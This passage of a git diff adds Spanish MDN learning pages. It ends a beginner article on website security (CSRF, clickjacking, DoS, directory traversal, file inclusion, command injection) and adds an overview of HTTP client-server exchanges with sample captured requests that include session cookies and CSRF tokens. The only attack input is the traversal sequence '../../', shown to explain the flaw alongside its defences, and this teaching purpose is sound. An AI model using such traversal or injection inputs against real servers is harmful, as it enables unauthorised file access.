+<p><strong>Nota</strong>: El truco aquí es que John no necesita tener acceso a los cookies del usuario (o acceso a sus credenciales) — El explorador del usuario almacena esta información, y la incluye automáticamente en todas las peticiones al servidor asociado.</p> +</div> + +<p>Una manera de prevenir este tipo de ataque por parte del servidor es requerir que la petción <code>POST</code> incluya una palabra secreta específica del usuario generada por el sitio (la palabra secreta podría proporcionarla el servidor cuando envía el formulario web que se usa para hacer transferencias). Esta aproximación evita que John pueda crear su propio formulario, porque necesitaría conocer la palabra secreta que el servidor ha proporcionado para el usuario. Incluso si conociera esta palabra y creara un formulario para un usuario en particular, no podría usar el mismo formulario para atacar a todos los usuarios.</p> + +<p>Los frameworks web incluyen con frecuencia tales mecanismos de prevención de CSRF.</p> + +<h3 id="Otras_amenazas">Otras amenazas</h3> + +<p>Otros ataques/vulnerabilidades incluyen:</p> + +<ul> + <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. En este tipo de ataque, el usuario malicioso secuestra las pulsaciones de ratón dirigidas a un sitio visible por encima de los demás y las redirige a una página escondida por debajo. Esta técnica se usaría, por ejemplo, para presentar un sitio bancario legítimo pero capturar las credenciales de inicio de sesión en un {{htmlelement("iframe")}} invisible controlado por el atacante. Alternativamente podría usarse para conseguir que el usuario pinchara sobre un botón en un sitio visible, pero al hacerlo realmente estuviera sin advertirlo pinchando en otro botón completamente diferente. Como defensa, tu sitio puede protegerse de ser embebido en un iframe de otro sitio configurando las cabeceras HTTP apropiadamente.</li> + <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denegación de Servicio, (Denial of Service</a>, DoS). DoS se consigue normalmente inundando el sitio objetivo con peticiones espúreas de manera que se interrumpa el acceso a los usuarios legítimos. Las peticiones pueden simplemente ser numerosas, o consumir individualmente gran cantidad de recursos (ej. lecturas lentas, subidas de grandes ficheros, etc.) Las defensas contra DoS normalmente trabajan mediante la indentificación y el bloqueo de tráfico "malo" permitiendo sin embargo que atraviesen los mensajes legítimos. Estas defensas se encuentran típicamente dentro o antes del servidor (no son parte de la aplicación web misma).</li> + <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Salto de Directorios</a>/Revelación de Ficheros. En este tipo de ataque un usuario malicioso intenta acceder a partes del sistema de ficheros del servidor web a los que no debería tener acceso. Esta vulnerabilidad ocurre cuando el usuario es capaz de pasar nombres de fichero que incluyen caracteres del sistema de navegación (ej. <code>../../</code>). La solución es desinfectar la entrada antes de usarla.</li> + <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">Inclusión de Ficheros</a>. En este ataque un usuario es capaz de especificar, para mostrar o ejecutar, un fichero "no intencionado para ello" en los datos que le pasa al servidor. Una vez ha sido cargado este fichero podría ejecutarse en el servidor web o en el lado cliente (llevando a un ataque XSS). La solución es desinfectar la entrada antes de usarla.</li> + <li><a href="https://www.owasp.org/index.php/Command_Injection">Inyección de Comandos</a>. Los ataques de inyección de comandos permiten a un usuario malicioso ejecutar comandos del sistema arbitrarios en el sistema operativo del host. La solución es desinfectar la entrada de usuario antes de que pueda ser usada en llamadas al sistema.</li> +</ul> + +<p>Hay muchas más. Para un lisado completo ver <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) y <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p> + +<h2 id="Unos_cuantos_mensajes_clave">Unos cuantos mensajes clave</h2> + +<p>Casi todos los exploits de las secciones anteriores tienen éxito cuando la aplicación web confía en los datos que vienen del explorador. Sea lo que sea que hagas para mejorar la seguridad de tu sitio web, deberías desinfectar todos los datos originados por el usuario antes de ser mostrados en el explorador, usados en queries SQL o pasados en una llamada al sistema operativo o fichero de sistema.</p> + +<div class="warning"> +<p>Importante: La lección más importante que debes aprender acerca de la seguridad de sitios web es <strong>nunca confíes en los datos del explorador web</strong>. Esto incluye los datos en parámetros URL de las peticiones<code>GET</code>, datos <code>POST</code>, cabeceras HTTP y cookies, ficheros subidos por los usuarios, etc. Comprueba siempre y desinfecta todos los datos entrantes. Siempre asume lo peor.</p> +</div> + +<p>Otras cuantas medidas concretas que puedes tomar son:</p> + +<ul> + <li>Usar una gestión de contraseñas más efectiva. Fomentar las contraseñas fuertes y que se cambien con regularidad. Considerar para tu sitio web la autenticación de dos factores, de manera que, además de la contraseña, el usuario tenga que introducir algún otro código de autenticación (normalmente alguno que se distribuye mediante algún hardware que sólo tiene el usuario, como un código en un mensaje de texto enviado a su teléfono móvil).</li> + <li>Configurar tu servidor web para usar <a href="/en-US/docs/Glossary/https">HTTPS</a> y <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS encripta los datos enviados entre el cliente y el servidor. Esto asegura que las credenciales de incio de sesión, cookies, datos <code>POST</code> e información de cabecera permanecen menos disponibles a los atacantes.</li> + <li>Seguir la pista a las amenazas más populares (<a href="/en-US/docs/">aquí puedes acceder a la lista actual OWASP</a>) y atacar las vulnerabilidades más comunes primero.</li> + <li>Usar herramientas de <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">escanéo de vulnerabilidade</a><a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">s</a> para realizar pruebas automáticas de seguridad en tu sitio (más adelante, si tu sitio web llega a ser super exitoso puedes también encontrar bugs por medio de ofrecer recompensas por encontrar bugs <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">como hace Mozilla aquí</a>).</li> + <li>Almacena y muestra sólo los datos que necesiten serlo. Por ejemplo, si tus usuarios deben almacenar información sensible como los detalles de las tarjetas de crédito, sólo muestra lo suficiente del número de tarjeta de manera que pueda ser identificada por el usuario, y no suficiente para que pueda ser copiado por el atacante y usado en otro sitio. El patrón más común hoy en día es mostrar sólo los 4 últimos dígitos del número de la tarjeta de crédito.</li> +</ul> + +<p>Los frameworks web pueden ayudar a mitigar muchas de las vulnerabilidades más comunes.</p> + +<h2 id="Sumario">Sumario</h2> + +<p>Este artículo ha explicado el concepto de seguridad en sitios web y algunas de las amanazas más comunes contra las que tu sitio debería empezar a protegerse. Lo más importante que deberías entender es que ¡una aplicación web no puede confiar en ningún dato que provenga de explorador web! Todos los datos de usuario deberían ser desinfectados antes de ser mostrados, o usados en queries SQL o llamadas a ficheros de sistema.</p> + +<p>Hemos llegado al final de <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">este módulo</a>, tratando tus primeros pasos en la programación de lado servidor de un sitio web. Esperamos que hayas disfrutado del aprendizaje de los conceptos fundamentales y estés listo para seleccionar un framework web y empezar a programar.</p> + +<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + + + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Frameworks web de lado servidor</a></li> + <li><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de sitios web</a></li> +</ul> diff --git a/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html b/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html new file mode 100644 index 0000000000..05ce1f9451 --- /dev/null +++ b/files/es/learn/server-side/primeros_pasos/vision_general_cliente_servidor/index.html @@ -0,0 +1,334 @@ +--- +title: Visión General Cliente-Servidor +slug: Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor +tags: + - Aprendizaje + - Codificación de scripts + - Guía + - Principiante + - Programación lado servidor + - Servidor + - introducción +translation_of: Learn/Server-side/First_steps/Client-Server_overview +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">Ahora que conoces el propósito y los beneficios potenciales de la programación de lado-servidor vamos a examinar en detalle lo que ocurre cuando un servidor recibe una "petición dinámica" desde un explorador web. Ya que el código de lado servidor de la mayoría de los sitios web gestiona peticiones y respuestas de formas similares, este artículo te ayudará a entender lo que necesitas hacer para escribir la mayor parte de tu propio código.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Conocimientos básicos de computación. Noción básica de lo que es un servidor.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Comprender lo que son las interacciones cliente-servidor en un sitio web dinámico, y en particular que operaciones necesita realizar el código de lado servidor.</td> + </tr> + </tbody> +</table> + +<p>No hay código real en el debate porque ¡todavía no hemos seleccionado el framework web que usaremos para escribir nuestro código! Sin embargo este debate sí que es muy relevante incluso ahora, porque el comportamiento descrito debería ser implementado por tu código de lado servidor independientemente de qué lenguaje de programación o framework web hayas seleccionado.</p> + +<h2 id="Servidores_Web_y_HTTP_(iniciación)">Servidores Web y HTTP (iniciación)</h2> + +<p>Los exploradores web se comunican con los <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transferencia de HyperTexto (<strong>H</strong>yper<strong>T</strong>ext<strong>T</strong>ransfer <strong>P</strong>rotocol <a href="/en-US/docs/Web/HTTP">HTTP</a>). Cuando pinchas en un enlace sobre una página web, envías un formulario o ejecutas una búsqueda, el explorador envía una petición (<em>Request) </em>HTTP al servidor.</p> + +<p>Esta petición incluye:</p> + +<ul> + <li>Una URL que identifica el servidor de destino y un recurso (ej. un fichero HTML, un punto de datos particular en el servidor, o una herramienta a ejecutar).</li> + <li>Un método que define la acción requerida (por ejemplo, obtener un fichero o salvar o actualizar algunos datos). Los diferentes métodos/verbos y sus acciones asociadas se listan debajo: + <ul> + <li><code>GET</code>: Obtener un recurso específico (ej. un fichero HTML que contiene información acerca de un producto o una lista de productos).</li> + <li><code>POST</code>: Crear un nuevo recurso (ej. añadir un nuevo artículo a una wiki, añadir un nuevo contacto a una base de datos). </li> + <li><code>HEAD</code>: Obtener la información de los metadatos sobre un recurso específico sin obtener el cuerpo entero tal como haría <code>GET</code>. Podrías, por ejemplo, usar una petición <code>HEAD</code> para encontrar la última vez que un recurso fue actualizado, y a continuación usar la petición <code>GET</code> (más "cara") para descargar el recurso sólo si éste ha cambiado. </li> + <li><code>PUT</code>: Actualizar un recurso existente (o crear uno nuevo si no existe).</li> + <li><code>DELETE</code>: Borrar el recurso específico.</li> + <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: Estos verbos son para tareas menos comunes/avanzadas, por lo que no los trataremos aquí.</li> + </ul> + </li> + <li>Se puede codificar información adicional con la petición (por ejemplo, datos de un formulario HTML). La información puede ser codificada como: + <ul> + <li>Parámetros URL: Las peticiones <code>GET</code> codifican los datos en la URL enviada al servidor añadiendo al final pares nombre/valor — por ejemplo, <code>http://mysite.com<strong>?name=Fred&age=11</strong></code>. Siempre encontrarás un signo de interrogación(<code>?</code>) separando los parámetros URL del resto de la misma, un signo igual (<code>=</code>) separando cada nombre de su valor asociado y un ampersand (<code>&</code>) separando cada par. Los parámetros URL son inherentemente "inseguros" ya que pueden ser modificados por los usuarios y ser enviados de nuevo. Como consecuencia los parámetros URL/peticiones <code>GET</code> no se usan para peticiones de actualización de datos en el servidor.</li> + <li>Datos <code>POST</code>. Las peticiones <code>POST</code> añaden nuevos recursos, cuyos datos están codificados dentro del cuerpo de la petición.</li> + <li>Cookies de lado cliente. Los Cookies contienen datos de sesión acerca del cliente, incluyendo las claves que el servidor puede usar para determinar su estado de incio de sesión y los permisos/accesos a los recursos.</li> + </ul> + </li> +</ul> + +<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La respuesta contiene un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> que indica si la petición ha tenido éxito o no (ej. "<code>200 OK</code>" para indicar éxito, "<code>404 Not Found</code>" si el resurso no ha podido ser encontrado, "<code>403 Forbidden</code>" si el usuario no está autorizado a acceder al recurso, etc). El cuerpo de la respuesta de éxito a una petición <code>GET</code> contendría el recurso solicitado.</p> + +<p>Cuando se devuelve una página HTML es renderizada por el explorador web. Como parte del procesamiento el explorador puede descubrir enlaces a otros recursos (ej. una página HTML normalmente referencia las páginas JavaScript y CSS), y enviará peticiones HTTP separadas para descargar estos ficheros.</p> + +<p>Los sitios web tanto estáticos como dinámicos (abordados en las secciones siguientes) usan exactamente los mismos protocolos/patrones de comunicación.</p> + +<h3 id="Ejemplo_de_peticiónrespuesta_GET">Ejemplo de petición/respuesta GET</h3> + +<p>Puedes realizar una petición <code>GET</code> simplemente pinchando sobre un enlace o buscando en un sitio (como la página inicial de un motor de búsquedas). Por ejemplo, la petición HTTP que se envía cuando realizas una búsqueda en MDN del término "visión general cliente servidor" se parecerá mucho al texto que se muestra más abajo (no será idéntica porque algunas partes del mensaje dependen de tu explorador/configuración).</p> + +<div class="note"> +<p>El formato de los mensajes HTTP está definido en el "estándard web" (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). No necesitas conocer este nivel de detalle, pero al menos ¡ahora sabes de donde viene todo esto!</p> +</div> + +<h4 id="La_petición">La petición</h4> + +<p>Cada linea de la petición contiene información sobre ella. La primera parte se llama <strong>cabecera</strong> o <strong>header</strong>, y contiene información útil sobre la petición, de la misma manera que un <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a> contiene información útil sobre un documento (pero no el contenido mismo, que está en el cuerpo):</p> + +<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Pragma: no-cache +Cache-Control: no-cache +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/ +Accept-Encoding: gzip, deflate, sdch, br +<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code> +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true +</pre> + +<p>La primera y segunda líneas contienen la mayoría de la información de la que hemos hablado arriba:</p> + +<ul> + <li>El tipo de petición (<code>GET</code>).</li> + <li>La URL del recurso de destino (<code>/en-US/search</code>).</li> + <li>Los parámetros URL (<code>q=client%2Bserver%2Boverview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev</code>).</li> + <li>El destino/host del sitio web (developer.mozilla.org).</li> + <li>El final de la primera linea también incluye una cadena corta que identifica la versión del protocolo utilizado (<code>HTTP/1.1</code>).</li> +</ul> + +<p>La última linea contiene información sobre los cookies del lado cliente — puedes ver que en este caso el cookie incluye un id para gestionar las sesiones (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p> + +<p>Las líneas restantes contienen información sobre el explorador web usado y la clase de respuestas que puede manejar. Por ejemplo, puedes ver aquí que:</p> + +<ul> + <li>Mi explorador (<code>User-Agent</code>) es Mozilla Firefox (<code>Mozilla/5.0</code>).</li> + <li>Puede aceptar información comprimida gzip (<code>Accept-Encoding: gzip</code>).</li> + <li>Puede aceptar el conjunto de caracteres especificado (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) y los idiomas (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li> + <li>La linea <code>Referer</code> indica la dirección de la página web que contenía el enlace a este recurso (es decir, el origen de la petición, <code>https://developer.mozilla.org/en-US/</code>).</li> +</ul> + +<p>Las peticiones HTTP también pueden tener un cuerpo, pero está vacío en este caso.</p> + +<h4 id="La_respuesta">La respuesta</h4> + +<p>La primera parte de la respuesta a esta petición se muestra abajo. La cabecera o header contiene información como la siguiente:</p> + +<ul> + <li>La primera linea incluye el código de respuesta <code>200 OK</code>, que nos dice que la petición ha tenido éxito.</li> + <li>Podemos ver que la respuesta está formateada (<code>Content-Type</code>) en modo <code>text/html</code>.</li> + <li>Podemos ver que usa también el conjunto de caracteres UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li> + <li>La cabecera también nos dice lo grande que es (<code>Content-Length: 41823</code>).</li> +</ul> + +<p>Al final del mensaje vemos el contenido del <strong>cuerpo</strong> (<strong>body</strong>) — que contiene el HTML real devuelto por la respuesta.</p> + +<pre class="brush: html">HTTP/1.1 200 OK +Server: Apache +X-Backend-Server: developer1.webapp.scl3.mozilla.com +Vary: Accept,Cookie, Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:11:31 GMT +Keep-Alive: timeout=5, max=999 +Connection: Keep-Alive +X-Frame-Options: DENY +Allow: GET +X-Cache-Info: caching +Content-Length: 41823 + + + +<!DOCTYPE html> +<html lang="en-US" dir="ltr" class="redesign no-js" data-ffo-opensanslight=false data-ffo-opensans=false > +<head prefix="og: http://ogp.me/ns#"> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=Edge"> + <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script> + ... +</pre> + +<p>El resto de la cabecera de la respuesta incluye información sobre la respuesta (ej. cuándo se generó), el servidor, y cómo espera el explorador manejar la página (ej. la linea <code>X-Frame-Options: DENY</code> le dice que al explorador que no está permitido incrustar esta página en un {{htmlelement("iframe")}} en otro sitio).</p> + +<h3 id="Ejemplo_de_peticiónrespuesta_POST">Ejemplo de petición/respuesta POST</h3> + +<p>Un HTTP <code>POST</code> se realiza cuando se envía un formulario que contiene información para ser guardada en el servidor.</p> + +<h4 id="La_petición_2">La petición</h4> + +<p>El texto de abajo muestra la petición HTTP realizada cuando un usuario envía al sitio los detalles de un nuevo perfil. El formato de la petición es casi el mismo que en la petición <code>GET</code> del ejemplo mostrado previamente, aunque la primera linea identifica esta petición como <code>POST</code>. </p> + +<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +Host: developer.mozilla.org +Connection: keep-alive +Content-Length: 432 +Pragma: no-cache +Cache-Control: no-cache +Origin: https://developer.mozilla.org +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit +Accept-Encoding: gzip, deflate, br +Accept-Language: en-US,en;q=0.8,es;q=0.6 +Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true + +csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=</pre> + +<p>La principal diferencia es que la URL no tiene parámetros. Como puedes ver, la información del formulario se codifica en el cuerpo de la petición (por ejemplo, el nombre completo del nuevo usuario se establece usando: <code>&user-fullname=Hamish+Willee</code>).</p> + +<h4 id="La_respuesta_2">La respuesta</h4> + +<p>La respuesta a la petición se muestra abajo. El código de estado "<code>302 Found</code>" le dice al explorador que el POST ha tenido éxito, y que debe realizar una segunda petición HTTP para cargar la página especificada en el campo <code>Location</code>. La información es de lo contrario similar a la respuesta a una petición <code>GET</code>.</p> + +<pre class="brush: html">HTTP/1.1 302 FOUND +Server: Apache +X-Backend-Server: developer3.webapp.scl3.mozilla.com +Vary: Cookie +Vary: Accept-Encoding +Content-Type: text/html; charset=utf-8 +Date: Wed, 07 Sep 2016 00:38:13 GMT +Location: https://developer.mozilla.org/en-US/profiles/hamishwillee +Keep-Alive: timeout=5, max=1000 +Connection: Keep-Alive +X-Frame-Options: DENY +X-Cache-Info: not cacheable; request wasn't a GET or HEAD +Content-Length: 0 +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Las repuestas y las peticiones HTTP mostradas en estos ejemplos fueron capturadas usando la aplicación <a href="https://www.telerik.com/download/fiddler">Fiddler</a>, pero puedes obtener información similar usando sniffers web (ej. <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>) o usando extensiones del explorador como <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>. Puedes probarlo por tí mismo. Usa una de las herramientas enlazadas, y a continuación navega a través de un sitio y edita información del perfil para ver las diferentes peticiones y respuestas. La mayoría de los exploradores modernos también tienen herramientas que monitorizan las peticiciones de red (Por ejemplo, la herramienta <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> en Firefox).</p> +</div> + +<h2 id="Sitios_estáticos">Sitios estáticos</h2> + +<p>Un <em>sitio estático</em> es aquél que devuelve desde el servidor el mismo contenido establecido de forma fija en el código cada vez que se solicita una página en particular. De manera que si por ejemplo tienes una página sobre un producto en <code>/static/myproduct1.html</code> , a todos los usuarios se les devolverá la misma página. Si añades otro producto similar a tu sitio necesitarás añadir otra página (ej. <code>myproduct2.html</code>) etc... Esto puede llegar a ser realmente muy poco eficiente — ¿qué sucede cuando alcanzas miles de páginas de productos? Repetirías un montón de código a lo largo de cada página (la plantilla básica de la página, la estructura, etc), y si quisieras cambiar cualquier cosa de la estructura de la página — como añadir una nueva sección de "productos relacionados" por ejemplo — tendrías que cambiar cada página individualmente. </p> + +<div class="note"> +<p><strong>Nota</strong>: Los sitios estáticos son excelentes cuando tienes un pequeño número de páginas y quieres enviar el mismo contenido a todos los usuarios. Sin embargo pueden tener un coste de mantenimiento significante a medida que es número de páginas se hace grande.</p> +</div> + +<p>Recapitulemos cómo funciona ésto, mirando otra vez el diagrama de la arquitectura de un sitio estático que vimos en el anterior artículo.</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p> + +<p>Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP <code>GET</code> especificando la URL de su página HTML. El servidor recupera el documento solicitado de su sistema de ficheros y devuelve una respuesta HTTP conteniendo el documento y un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> "<code>200 OK</code>" (indicando éxito). El servidor podría devolver un código de estado diferente, por ejemplo "<code>404 Not Found</code>" si el fichero no está presente en el servidor, o "<code>301 Moved Permanently</code>" si el fichero existe pero ha sido redirigido a una localización diferente.</p> + +<p>El servidor de un sitio estático sólo tendrá que procesar peticiones GET, ya que el servidor no almacena ningún dato modificable. Tampoco cambia sus respuestas basádonse en los datos de la petición HTTP (ej. parámetros URL o cookies). </p> + +<p>Entendiendo cómo funcionan los sitios estáticos es útil sin embargo cuando se aprende programación de lado servidor, porque los sitios dinámicos gestionan las peticiones de ficheros estáticos (CSS, JavaScript, imágenes estáticas, etc.) exactamente de la misma forma.</p> + +<h2 id="Sitios_dinámicos">Sitios dinámicos</h2> + +<p>Un <em>sitio dinámico</em> es aquél que puede generar y devolver contenido basándose en la URL y los datos específicos de la petición (en vez de devolver siempre para una URL en particular el mismo fichero especificado en el código de forma fija). Usando el ejemplo de un sitio de productos, el servidor almacenaría "datos" del producto en una base de datos en vez de ficheros HTML individuales. Cuando se reciba una petición HTTP <code>GET</code> para un producto, el servidor determina el ID del mismo, extrae los datos de la base y construye la página HTML de la respuesta insertando los datos dentro de la plantilla HTML. Esto tiene una ventaja primordial sobre un sitio estático: </p> + +<p>Usar una base de datos permite que la información del producto se almacene de forma eficiente y que se pueda ampliar, modificar y buscar fácilmente.</p> + +<p>Usar plantillas HTML hace que sea muy fácil cambiar la estructura HTML, porque sólo se necesita hacer en un sólo lugar, en una única plantilla y no a lo largo de miles de páginas estáticas.</p> + +<h3 id="Anatomía_de_una_petición_dinámica">Anatomía de una petición dinámica</h3> + +<p>Esta sección proporciona una visión general paso a paso de un ciclo de petición y respuesta HTTP "dinámicas", construyendo con más detalle lo que vimos en el último artículo. Para "hacer cosas reales" usaremos el contexto del sitio web de un manager de equipos deportivos donde un entrenador puede seleccionar el nombre y tamaño de su equipo en un formulario HTML y obtener de vuelta una sugerencia de "mejor alineación" para el próximo partido. </p> + +<p>El diagrama de abajo muestra los elementos principales del sitio web del "entrenador del equipo", junto con etiquetas numeradas de la secuencia de operaciones cuando el entrenador accede a su lista de "mejor equipo". Las partes del sitio que lo hacen dinámico son las <em>Aplicaciones Web</em> (que es como llamaremos al código del lado servidor que procesa las peticiones HTTP y devuelve respuestas HTTP), la <em>Base de Datos</em>, que contiene la información sobre los jugadores, equipos, entrenadores y sus relaciones, y las <em>Plantillas HTML</em>.</p> + +<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p> + +<p>Después de que el entrenador envíe el formulario con el nombre del equipo y el número de jugadores, la secuencia de operaciones es la siguiente:</p> + +<ol> + <li>El explorador web crea una petición HTTP <code>GET</code> al servidor usando la URL base del recurso (<code>/best</code>) y codifica el equipo y número de jugadores como parámetros URL (ej. <code>/best?team=my_team_name&show=11)</code> o formando parte de un patrón URL (ej. <code>/best/my_team_name/11/</code>). Se usa una petición <code>GET</code> porque la petición sólo recoge datos (no modifica ninguno).</li> + <li>El S<em>ervidor Web</em> detecta que la petición es "dinámica" y la reenvía a la <em>Aplicación</em> para que la procese (el servidor web determina como manejar diferentes URLs basándose en reglas de emparejamiento de patrones definidas en su configuración).</li> + <li>La <em>Aplicación Web</em> identifica que la intención de la petición es obtener la "lista del mejor equipo" basándose en la URL (<code>/best/</code>) y encuentra el nombre del equipo y el número de jugadores requeridos a partir de la URL. La <em>Aplicación Web</em> obtiene entonces la información solicitada de la base de datos (usando parámetros "internos" adicionales que definen qué jugadores son los "mejores", y posiblemente también obteniendo la identidad del entrenador que ha iniciado sesión a partir de un cookie del lado cliente).</li> + <li>La <em>Aplicación Web</em> crea dinámicamente una página HTML por medio de colocar los datos (de la <em>base</em>) en marcadores de posición dentro de la plantilla HTML.</li> + <li>La <em>Aplicación Web</em> devuelve el HTML generado al explorador web (via el <em>Servidor Web</em>), junto con un código de estado HTTP de 200 ("éxito"). Si algo impide que se pueda devolver el HTML entonces la <em>Aplicación Web</em> devolverá otro código — por ejemplo "404" para indicar que el equipo no existe.</li> + <li>El Explorador Web comenzará a continuación a procesar el HTML devuelto, enviando peticiones separadas para obtener cualquier otro fichero CSS o JavaScript que sea referenciado (ver paso 7).</li> + <li>El Servidor Web carga ficheros estáticos del sistema de ficheros y los devuelve al explorador directamente (de nuevo, la gestión correcta de los ficheros está basada en las reglas de configuración y de emparejamiento de patrones URL).</li> +</ol> + +<p>La operación de actualizar un registro de la base de datos se gestionaría de forma similar, excepto que, como para cualquier actualización de la base de datos, la petición HTTP desde el explorador debería ser codificada como petición <code>POST</code>. </p> + +<h3 id="Realización_de_otros_trabajos">Realización de otros trabajos</h3> + +<p>La misión de una <em>Aplicación Web</em> es recibir peticiones HTTP y devolver respuestas HTTP. Mientras que interactuar con la base datos para obtener o actualizar información son tareas muy comunes, el código puede hacer otras cosas al mismo tiempo, o no interactuar con una base de datos en absoluto.</p> + +<p>Un buen ejemplo de una tarea adicional que una <em> Aplicación Web</em> podría realizar sería el envío de un correo electrónico a los usuarios para confirmar su registro en el sitio. El sito podría también realizar logging u otras operaciones.</p> + +<h3 id="Devolución_de_alguna_otra_cosa_distinta_a_HTML">Devolución de alguna otra cosa distinta a HTML</h3> + +<p>El código lado servidor de un sitio web no tiene que devolver fragmentos/ficheros HTML en la respuesta. Puede en vez de eso crear dinámicamente y devolver otros tipos de ficheros (texto, PDF, CSV, etc.) o incluso datos (jSON, XML, etc.).</p> + +<p>La idea de devolver datos a un explorador web de forma que pueda actualizar su propio contenido dinámicamente ({{glossary("AJAX")}}) ha estado dando vueltas durante bastante tiempo. Más recientemente han llegado a ser muy populares las "apps de una sola página", donde el sitio web entero está escrito con un solo fichero HTML que es actualizado dinámicamente cuando se necesita. Los sitios web creados usando este estilo de aplicación transfieren una gran parte del coste computacional desde el servidor al explorador web, y pueden dar como resultado sitios web que se comportan mucho más como aplicaciones nativas (con una respuesta rápida "highly responsive", etc.).</p> + +<h2 id="Los_frameworks_Web_simplifican_la_programación_de_lado_servidor">Los frameworks Web simplifican la programación de lado servidor</h2> + +<p>Los frameworks de lado servidor hacen mucho más fácil escribir código para gestionar las operaciones descritas más arriba.</p> + +<p>Una de las operaciones más importantes que realizan es proporcionar mecanismos simples para mapear las URLs de diferentes recursos/páginas a funciones para su gestión específicas. Esto hace más fácil mantener separado el código asociado con 